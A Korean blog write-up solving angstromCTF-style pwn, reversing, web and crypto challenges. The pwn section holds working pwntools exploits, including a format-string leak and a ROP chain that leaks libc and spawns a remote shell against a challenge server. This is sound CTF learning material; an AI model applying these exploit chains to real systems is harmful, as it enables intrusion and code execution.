고등학생을 대상으로 한 CTF라고 해서 참가해봤는데 생각보다 많이 어려웠습니다..
(아직 갈길이 멀다는 것을 깨달은..)
PWN
1. queue
아이다로 디컴파일 해보면 다음과 같습니다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t rgid; // [rsp+4h] [rbp-CCh]
FILE *stream; // [rsp+8h] [rbp-C8h]
char format[48]; // [rsp+10h] [rbp-C0h] BYREF
char s[136]; // [rsp+40h] [rbp-90h] BYREF
unsigned __int64 v9; // [rsp+C8h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("Error: missing flag.txt.");
exit(1);
}
fgets(s, 128, stream);
printf("What did you learn in class today? ");
fgets(format, 48, stdin);
printf("Oh nice, ");
printf(format);
printf("sounds pretty cool!");
return v9 - __readfsqword(0x28u);
}
printf에 인자를 원하는대로 설정할 수 있는 것을 보니 FSB를 이용한 문제인 것으로 보입니다.
%p를 계속해서 써주면 플래그 문자열이 나와버립니다.
$ nc challs.actf.co 31322
What did you learn in class today? %p%p%p%p%p%p%p%p%p%p%p%p.%p.%p.%p.%p.%p.%p.%p
Oh nice, 0x7ffc4c4fa1f0(nil)0x7fd149620a370x90x563555a894900x3e8000000000x563555a882a00x70257025702570250x70257025702570250x70257025702570250x252e70252e70252e0x2e70252e70252e70.0xa70252e7025.0x3474737b66746361.0x75715f74695f6b63.0x615f74695f657565.0x3437396461393136.0x7d32326234363863.(nil)
sounds pretty cool!
빅엔디안으로 바꿔주면 플래그가 나옵니다.
2. gaga
3개의 문제로 나눠져 있습니다.
gaga0의 익스플로잇 코드는 다음과 같습니다.
from pwn import *
#context.log_level='debug'
p = process('./gaga0')
p = remote('challs.actf.co',31300)
p.recvuntil(b'at address ')
win = int(p.recvuntil(b'.')[:-1],16)
pay = b'a'*0x48 + p64(win)
p.sendafter(b'Your input:',pay)
p.interactive()
gaga1의 익스플로잇 코드는 다음과 같습니다.
from pwn import *
#context.log_level='debug'
p = process('./gaga1')
p = remote('challs.actf.co',31301)
e = ELF('./gaga1')
pr = 0x00000000004013b3
ppr = 0x00000000004013b1
win1 = e.symbols['win1']
pay = b'a'*0x48
pay += p64(pr) + p64(4919)
pay += p64(ppr) + p64(16705) + p64(0)
pay += p64(win1)
p.sendafter(b'Your input:',pay)
p.interactive()
gaga2는 풀지 못해서 라업을 봤는데 접근은 맞았으나
stack alignment, main함수의 주소 등에서 실수를 해서 풀리지 않았습니다.
gaga2의 익스플로잇 코드는 다음과 같습니다.
from pwn import *
# context.log_level='debug'
p = process('./gaga2')
p = remote('challs.actf.co',31302)
e = ELF('./gaga2',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
# gdb.attach(p)
POP_RDI = p64(0x00000000004012b3)
POP_RSI_R15 = p64(0x00000000004012b1)
RET = p64(0x000000000040101a)
puts_plt = e.plt['puts']
print('puts_plt:',hex(puts_plt))
# libc leak
pay = b'a'*0x48
pay += RET
pay += POP_RDI + p64(0x404058)
pay += p64(puts_plt)
pay += RET
pay += p64(e.symbols['main'])
# send payload
p.sendlineafter(b'Your input:',pay)
stdout = u64(p.recvn(8)[1:-1]+b'\x00'*2)
print('stdout:',hex(stdout))
libc_base = stdout - 0x1ed6a0
print('libc_base:',hex(libc_base))
binsh = libc_base + next(libc.search(b'/bin/sh'))
print('binsh: ',hex(binsh))
system_plt = libc_base + 0x52290
print('system_plt: ',hex(system_plt))
# system("/bin/sh")
pay2 = b'a'*0x48
pay2 += POP_RDI + p64(binsh)
pay2 += RET
pay2 += p64(system_plt)
# send payload
p.sendlineafter(b'Your input:',pay2)
p.interactive()
$ python3 ex2-2.py
[+] Starting local process './gaga2': pid 350
[+] Opening connection to challs.actf.co on port 31302: Done
puts_plt: 0x401094
stdout: 0x7f1c23de06a0
libc_base: 0x7f1c23bf3000
binsh: 0x7f1c23da75bd
system_plt: 0x7f1c23c45290
[*] Switching to interactive mode
$ cat flag.txt
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}[*] Got EOF while reading in interactive
$
[*] Closed connection to challs.actf.co port 31302
[*] Stopped process './gaga2' (pid 350)
REV
1. checkers
아이다로 까보면 플래그를 찾을 수 있습니다.
2. zaza
아이다로 디컴파일 해보면 다음과 같습니다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v5; // [rsp+8h] [rbp-58h] BYREF
unsigned int v6; // [rsp+Ch] [rbp-54h] BYREF
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v8; // [rsp+58h] [rbp-8h]
v8 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
v5 = 0;
v6 = 0;
printf("I'm going to sleep. Count me some sheep: ");
__isoc99_scanf("%d", &v5);
if ( v5 != 4919 )
{
puts("That's not enough sheep!");
exit(1);
}
printf("Nice, now reset it. Bet you can't: ");
__isoc99_scanf("%d", &v6);
if ( v5 * v6 == 1 )
{
printf("%d %d", v6, v6 + v5);
puts("Not good enough for me.");
exit(1);
}
puts("Okay, what's the magic word?");
getchar();
fgets(s, 64, stdin);
s[strcspn(s, "\n")] = 0;
xor_((__int64)s);
if ( strncmp(s, "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#", 0x32uLL) )
{
puts("Nope");
exit(1);
}
win();
return v8 - __readfsqword(0x28u);
}
먼저 v5가 4919이어야 하므로 4919를 입력해줍니다.
다음으로 v5*v6가 1이 아니기만 하면 되니까 그냥 1을 입력해줍니다.
마지막으로 매직워드를 입력하라고 하는데 이는 xor_ 함수를 분석해야 합니다.
xor_ 함수를 디컴파일 해보면 다음과 같습니다.
size_t __fastcall xor_(__int64 a1)
{
size_t result; // rax
int i; // [rsp+14h] [rbp-1Ch]
for ( i = 0; ; ++i )
{
result = strlen("anextremelycomplicatedkeythatisdefinitelyuselessss");
if ( i >= result )
break;
*(_BYTE *)(i + a1) ^= aAnextremelycom[i];
}
return result;
}
입력한 배열 a1과 aAnextremelycom 배열을 XOR 연산합니다.
연산 결과가 "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#" 가 되어야 합니다.
"2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#" == a1[i] ^ aAnextremelycom[i]이어야 하므로
a1은 "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#" ^ aAnextremelycom[i]을 수행한 결과가 됩니다.
aAnextremelycom = "anextremelycomplicatedkeythatisdefinitelyuselessss"
result = "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#"
for i in range(len(result)):
f = ord(result[i]) ^ ord(aAnextremelycom[i])
print(chr(f), end='')
SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP
$ nc challs.actf.co 32760
I'm going to sleep. Count me some sheep: 4919
Nice, now reset it. Bet you can't: 1
Okay, what's the magic word?
SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP
actf{g00dnight_c7822fb3af92b949}
나머지 문제들은 문제들의 확장자가 이상해서 어떻게 풀어야 할 지 몰라 못 풀었습니다..
WEB
개인적으로 웹 분야는 쉬운 문제와 어려운 문제의 격차가 심했던 것 같습니다..
1. catch me if you can
소스 코드에 플래그가 박혀 있습니다.
2. Celeste Speedrunning Association
문제 화면입니다.
/play로 가봅니다.
버튼을 누르면 실패했다고 합니다.
코드를 살펴보니 value 값을 기준으로 기록을 측정하는 것으로 보입니다.
헤당 값을 미래 시간으로 변조한 뒤 버튼을 누르면 플래그를 얻을 수 있습니다.
3. shortcircuit
페이지에 있는 js 코드는 다음과 같습니다.
const swap = (x) => {
let t = x[0]
x[0] = x[3]
x[3] = t
t = x[2]
x[2] = x[1]
x[1] = t
t = x[1]
x[1] = x[3]
x[3] = t
t = x[3]
x[3] = x[2]
x[2] = t
return x
}
const chunk = (x, n) => {
let ret = []
for(let i = 0; i < x.length; i+=n){
ret.push(x.substring(i,i+n))
}
return ret
}
const check = (e) => {
if (document.forms[0].username.value === "admin"){
if(swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7"){
location.href="/win.html"
}
else{
document.getElementById("msg").style.display = "block"
}
}
}
콘솔을 이용해 다음과 같이 함수를 한 번 더 돌리면 플래그 값들이 나눠져서 배열로 나옵니다.
인덱스 번호를 기준으로 3 0 2 1 또는 3 2 0 1 순으로 조합해 제출하니
3 0 2 1 순으로 조합한 문자열이 플래그였습니다.
4. directory
5000개가 있는 페이지에서 플래그가 있는 페이지를 찾는 문제입니다.
파이썬으로 자동화 코드를 작성하여 풀 수 있습니다.
import requests
i = 4999
while True:
host = f'https://directory.web.actf.co/{i}.html'
re = requests.get(host)
if len(re.text) != 28:
print(f'i: {i}')
print(re.text)
break
else:
print(i,end=' ')
i -= 1
4999 4998 4997 4996 4995 4994 ... 3057 3056 3055 i: 3054
actf{y0u_f0und_me_b51d0cde76739fa3}
5. Celeste Tunneling Association
# run via `uvicorn app:app --port 6000`
import os
SECRET_SITE = b"flag.local"
FLAG = os.environ['FLAG']
async def app(scope, receive, send):
assert scope['type'] == 'http'
headers = scope['headers']
await send({
'type': 'http.response.start',
'status': 200,
'headers': [
[b'content-type', b'text/plain'],
],
})
# IDK malformed requests or something
num_hosts = 0
for name, value in headers:
if name == b"host":
num_hosts += 1
if num_hosts == 1:
for name, value in headers:
if name == b"host" and value == SECRET_SITE:
await send({
'type': 'http.response.body',
'body': FLAG.encode(),
})
return
await send({
'type': 'http.response.body',
'body': b'Welcome to the _tunnel_. Watch your step!!',
})
header에 {host: flag.local} 를 넣어주면 플래그가 나옵니다.
import requests
host = "https://pioneer.tailec718.ts.net/"
header = {b"host":b"flag.local"}
re = requests.post(host,headers=header)
print(re.text)
actf{reaching_the_core__chapter_8}
CRYPTO
1. ranch
import string
f = open("flag.txt").read()
encrypted = ""
shift = int(open("secret_shift.txt").read().strip())
for i in f:
if i in string.ascii_lowercase:
encrypted += chr(((ord(i) - 97 + shift) % 26)+97)
else:
encrypted += i
print(encrypted)
고전 암호인 시저 암호 문제입니다.
위 코드의 결과로
“rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}”
라는 값이 주어집니다.
이를 역연산하면 됩니다.
import string
encrypted = "rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}"
decrypted = ''
shift = 0
while True:
for i in encrypted:
if i in string.ascii_lowercase:
decrypted += chr(((ord(i) - 97 + shift) % 26)+97)
else:
decrypted += i
if 'actf' in decrypted:
print(decrypted)
break
else:
print(decrypted)
decrypted = ''
shift += 1
rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}
sulx{dg0ck_dacw_ow'dd_z4nw_lg_ljq_sf0lzwj_vjwkk1fy_5wx89t3s44901831}
tvmy{eh0dl_ebdx_px'ee_a4ox_mh_mkr_tg0maxk_wkxll1gz_5xy89u3t44901831}
uwnz{fi0em_fcey_qy'ff_b4py_ni_nls_uh0nbyl_xlymm1ha_5yz89v3u44901831}
vxoa{gj0fn_gdfz_rz'gg_c4qz_oj_omt_vi0oczm_ymznn1ib_5za89w3v44901831}
wypb{hk0go_hega_sa'hh_d4ra_pk_pnu_wj0pdan_znaoo1jc_5ab89x3w44901831}
xzqc{il0hp_ifhb_tb'ii_e4sb_ql_qov_xk0qebo_aobpp1kd_5bc89y3x44901831}
yard{jm0iq_jgic_uc'jj_f4tc_rm_rpw_yl0rfcp_bpcqq1le_5cd89z3y44901831}
zbse{kn0jr_khjd_vd'kk_g4ud_sn_sqx_zm0sgdq_cqdrr1mf_5de89a3z44901831}
actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}
2. impossible
#!/usr/local/bin/python
def fake_psi(a, b):
return [i for i in a if i in b]
def zero_encoding(x, n):
ret = []
for i in range(n):
if (x & 1) == 0:
ret.append(x | 1)
x >>= 1
return ret
def one_encoding(x, n):
ret = []
for i in range(n):
if x & 1:
ret.append(x)
x >>= 1
return ret
print("Supply positive x and y such that x < y and x > y.")
x = int(input("x: "))
y = int(input("y: "))
if len(fake_psi(one_encoding(x, 64), zero_encoding(y, 64))) == 0 and x > y and x > 0 and y > 0:
print(open("flag.txt").read())
zero_encoding, one_encoding 모두 오른쪽으로 한 칸씩 옮겨가면서 64번 연산을 수행합니다.
zero_encoding은 1과 &연산하여 0이면 ret에 추가됩니다.
one_encoding은 1과 &연산하여 1이상이면 ret에 추가됩니다.
fake_psi를 보면 zero_encoding의 ret에 있으면서 one_encoding의 ret에 존재하는 원소들을 리스트로 리턴합니다.
즉, zero_encoding의 ret에 원소가 없으면 됩니다.
1과 &연산하여 0이 되는 값은 0밖에 없으므로 0이 되지 않도록 하면 됩니다.
시프트 연산을 64번 수행하니 2^64을 넣어주면 됩니다.
% nc challs.actf.co 32200
Supply positive x and y such that x < y and x > y.
x: 18446744073709551616
y: 1
actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}
'CTF' 카테고리의 다른 글
vsCTF 2023 (0) | 2023.09.25 |
---|---|
CSAW CTF Qualification Round 2023 (0) | 2023.09.18 |
SECCON CTF 2023 Quals (0) | 2023.09.17 |
BDSec CTF 2023 (0) | 2023.07.22 |
AmateursCTF 2023 (0) | 2023.07.20 |